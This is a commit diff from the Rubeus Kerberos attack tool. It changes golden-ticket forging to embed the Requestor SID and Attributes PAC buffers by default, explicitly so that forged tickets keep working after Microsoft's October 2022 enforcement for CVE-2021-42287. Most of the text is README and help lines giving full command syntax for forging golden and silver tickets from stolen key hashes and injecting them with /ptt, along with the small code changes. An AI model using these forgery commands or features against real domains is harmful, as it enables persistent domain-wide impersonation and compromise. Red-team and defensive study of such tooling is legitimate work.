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Embed Requestor SID and Attributes PAC by default

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During the October 2022 update Microsoft has switched to enforcement mode for the presence of the Requestor SID and Attributes PAC as part of CVE-2021-42287, therefore default golden tickets no longer work.  Switch the behavior so that this is now default which can then be excluded using /oldpac argument
This commit is contained in:
CCob
2022-11-08 09:23:17 +00:00
parent f498e1c310
commit 52faf3b4e6
4 changed files with 9 additions and 9 deletions
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README.md
+3 -3
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@@ -139,10 +139,10 @@ Rubeus is licensed under the BSD 3-Clause license.
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/printcmd] [outfile:FILENAME] [/ptt]
Forge a golden ticket using LDAP to gather the relevent information but explicitly overriding some values:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/newpac] [/printcmd] [outfile:FILENAME] [/ptt]
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a golden ticket, setting values explicitly:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/newpac] [/printcmd] [outfile:FILENAME] [/ptt]
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a silver ticket using LDAP to gather the relevent information:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/printcmd] [outfile:FILENAME] [/ptt]
@@ -1346,7 +1346,7 @@ The `/printcmd` flag can be used to print the arguments required to generate ano
The **golden** action will forge a TGT for the user `/user:X` encrypting the ticket with the hash passed with `/des:X`, `/rc4:X`, `/aes128:X` or `/aes256:X` and using the same key to create the ServerChecksum and KDCChecksum. The various arguments to set fields manually are described above or the `/ldap` flag can be used to automatically retrieve the information from the domain controller.
The `/newpac` switch can be used to include the new *Requestor* and *Attributes* PAC_INFO_BUFFERs, added in response to CVE-2021-42287.
The `/oldpac` switch can be used to exclude the new *Requestor* and *Attributes* PAC_INFO_BUFFERs, added in response to CVE-2021-42287.
Forging a TGT using the `/ldap` flag to retrieve the information and the `/printcmd` flag to print a command to forge another ticket with the same PAC information:
Rubeus/Commands/Golden.cs
+3 -3
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@@ -54,7 +54,7 @@ namespace Rubeus.Commands
string rangeInterval = "1d";
string endTime = "";
string renewTill = "";
bool newPac = false;
bool newPac = true;
string outfile = "";
bool ptt = false;
@@ -344,9 +344,9 @@ namespace Rubeus.Commands
renewTill = arguments["/renewtill"];
}
if (arguments.ContainsKey("/newpac"))
if (arguments.ContainsKey("/oldpac"))
{
newPac = true;
newPac = false;
}
// actions for the ticket(s)
Rubeus/Domain/Info.cs
+2 -2
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@@ -67,10 +67,10 @@ namespace Rubeus.Domain
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/printcmd] [outfile:FILENAME] [/ptt]
Forge a golden ticket using LDAP to gather the relevent information but explicitly overriding some values:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/newpac] [/printcmd] [outfile:FILENAME] [/ptt]
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a golden ticket, setting values explicitly:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/newpac] [/printcmd] [outfile:FILENAME] [/ptt]
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a silver ticket using LDAP to gather the relevent information:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/printcmd] [outfile:FILENAME] [/ptt]
Rubeus/lib/ForgeTicket.cs
+1 -1
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@@ -61,7 +61,7 @@ namespace Rubeus
string resourceGroupSid = "",
List<int> resourceGroups = null,
Interop.PacUserAccountControl uac = Interop.PacUserAccountControl.NORMAL_ACCOUNT,
bool newPac = false,
bool newPac = true,
// arguments to deal with resulting ticket(s)
string outfile = null,
bool ptt = false,